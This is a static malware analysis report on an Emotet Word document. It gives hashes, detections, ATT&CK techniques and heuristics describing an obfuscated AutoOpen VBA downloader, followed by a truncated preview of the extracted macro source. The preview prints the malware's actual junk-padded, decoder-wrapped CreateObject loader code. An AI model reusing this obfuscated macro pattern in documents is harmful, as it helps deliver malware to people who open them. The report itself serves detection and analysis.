Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 efddea8148fdc78f…

MALICIOUS

Office (OLE)

235.9 KB Created: 2019-10-21 21:25:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: 2b61e4c3c7c6a4af76ad1e4e786bf436 SHA-1: 07d0cab6d98beee4b0f736b1415e81f62139bcad SHA-256: efddea8148fdc78f9cb2ca4b735ffed9c93787cd0233e2fbe290ad6e65fe4aae
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Obfuscate Malicious Code

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-7350516-0'. Static analysis reveals a critical heuristic for an obfuscated auto-exec VBA loader that uses CreateObject and Shell execution. The presence of an AutoOpen macro and the obfuscated nature of the VBA code strongly suggest a downloader functionality, likely for a second-stage payload. The VBA code itself contains commented-out IP addresses and strings that may be related to C2 infrastructure, though they are not directly executable.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7350516-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7350516-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 86987 bytes
SHA-256: 58f36975d475c40268dbff9cdf58770047b0a614e425df2b8bcdf40b390e6fab
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Yccfywwfw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Pynwffusxav, 0, 0, MSForms, CommandButton"
Attribute VB_Control = "Hiqnnukjgidjm, 1, 1, MSForms, CommandButton"
Attribute VB_Control = "Hgnrjhmkhmilh, 2, 2, MSForms, CommandButton"
Attribute VB_Control = "Cgoxcolmczum, 3, 3, MSForms, CommandButton"
Attribute VB_Control = "Ooauniswqfgvj, 4, 4, MSForms, CommandButton"
Attribute VB_Control = "Cnjnktrn, 5, 5, MSForms, CommandButton"
Attribute VB_Control = "Tuzrluuiwtpcw, 6, 6, MSForms, CommandButton"
Attribute VB_Control = "Yrwpnvpyhqrof, 7, 7, MSForms, CommandButton"
Attribute VB_Control = "Awpzxxpak, 8, 8, MSForms, CommandButton"
Attribute VB_Control = "Cayrowwra, 9, 9, MSForms, CommandButton"
Attribute VB_Control = "Ojsdvaed, 10, 10, MSForms, CommandButton"
Attribute VB_Control = "Hgpugsih, 11, 11, MSForms, CommandButton"
Attribute VB_Control = "Unvqohgncmob, 12, 12, MSForms, CommandButton"
Attribute VB_Control = "Lnxmfbjkbgyto, 13, 13, MSForms, CommandButton"
Attribute VB_Control = "Kvowqmixxst, 14, 14, MSForms, CommandButton"

Attribute VB_Name = "Keriuprnems"
Function Varvara(VarvaraA)
On Error Resume Next
   Rem 184.54.174.197
Year Sgn("27.227.148.104")
Jpkolgmlr = Round(Klxqjufpep)
Kxyvlhqjrep = 683
MonthName Izrpdctii
Crozttorfzzq = Int("200.89.119.34")
Aearsgwgja = CBool("Torphy - SteuberSuite 968North")
Zbnkibbfsts = Hex("Gloves")
Yqxlhijdecy = Oct("Leffler IncSuite 812West")
Rem Sausages
Second 631
Pqvvhnfftme = CSng(Yohshljbupy)
TimeValue Sgn("Chief7422 Howell Islands, Dietrichview, Central African Republic")
Second Sgn("Internal81266 Bailey Mountains, New Kadin, Serbia")
Hour Hex(Rllvzorr)
Jwlelkedsq = 259
Vvlumjpvaw = "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/533.2.2 (KHTML, like Gecko) Chrome/27.0.872.0 Safari/533.2.2"
Day Wutxnpdym
Minute 631
Vvhyrpmgfmhpp = "Kub - ZiemannApt. 361North"
'Forward19187 Schuppe Fall, North Tannerfurt, Cyprus
Cicqlmxgi = Tan(113)
Set Varvara = CreateObject(Erqousrnhcbyv(Erqousrnhcbyv(VarvaraA)))
   Rem International7482 Funk Pines, South Kara, Guam
Minute Tan("Chicken")
Vbfsoqnndwh = CDbl(Dvqshnfic)
Gzzfyrfqjx = 96
Second Bligezxczm
Hagjxogtntm = CStr("171.108.128.172")
Iplqrliimpg = CStr("Franecki IncApt. 510Northwest")
Aiflnttkx = Cos("Predovic - LegrosSuite 577Northwest")
Wsuqcvhztq = Tan("Corwin - MurphySuite 158Northwest")
Rem Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 5.3; Trident/3.0; .NET CLR 3.2.42208.9)
DateValue 965
Lmiaxgvkzk = CDbl(Xnbfsvfkqau)
MonthName CLng("121.124.233.100")
DateValue Hex("Future87762 Hettinger Pass, Peytonfurt, Kuwait")
Second CStr(Rgqhhfqextz)
Vecnmlbhsouc = 721
Llulrjkfzedrf = "188.97.144.236"
MonthName Aucazzaic
Month 769
Wiyswfagft = "Cheese"
'Mozilla/5.0 (Windows NT 6.2; Trident/7.0; rv:11.0) like Gecko
Hvipfykuf = Sqr(686)
End Function
Function Rntzlqsz()
On Error Resume Next
   Rem Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2 rv:3.0; CE) AppleWebKit/533.1.2 (KHTML, like Gecko) Version/5.1.2 Safari/533.1.2
Day Atn("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5)  AppleWebKit/538.2.1 (KHTML, like Gecko) Chrome/34.0.885.0 Safari/538.2.1")
Zkqhgesfym = CSng(Rpiqnqgqkmkf)
Fptzsojg = 235
MonthName Qwptytzywzd
Fgpjfbnzledy = CSng("Cheese")
Ytqllyrzqb = CDbl("Mertz - VandervortSuite 186North")
Rmlidylwoscf = Sgn("Internal9322 Jeremy Greens, Alizeville, Guyana")
Erfslvvgb = Rnd("Bike")
Rem 66.249.215.149
Month 397
Nswafpowm = CDbl(Ndafmgyg)
Month CLng("Ratke and SonsApt. 135Southeast")
Minute Fix("Dynamic2508 Eula Avenue, Imeldastad, Nicaragua")
Hour CDbl(Hgtauyqrwk)
Bpgpwicoj = 799
Ddcrfipivovf = "Pizza"
Year Akqxepap
Minute 512
Kywkpdbb = "160.67.55.208"
'Fritsch - HermanSuite 523Northeast
Qwshkjhbqr = Hex(834)
   Rem Hauck IncApt. 094Southeast
Second Rnd("Principal82343 Alford Valley, Hills
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.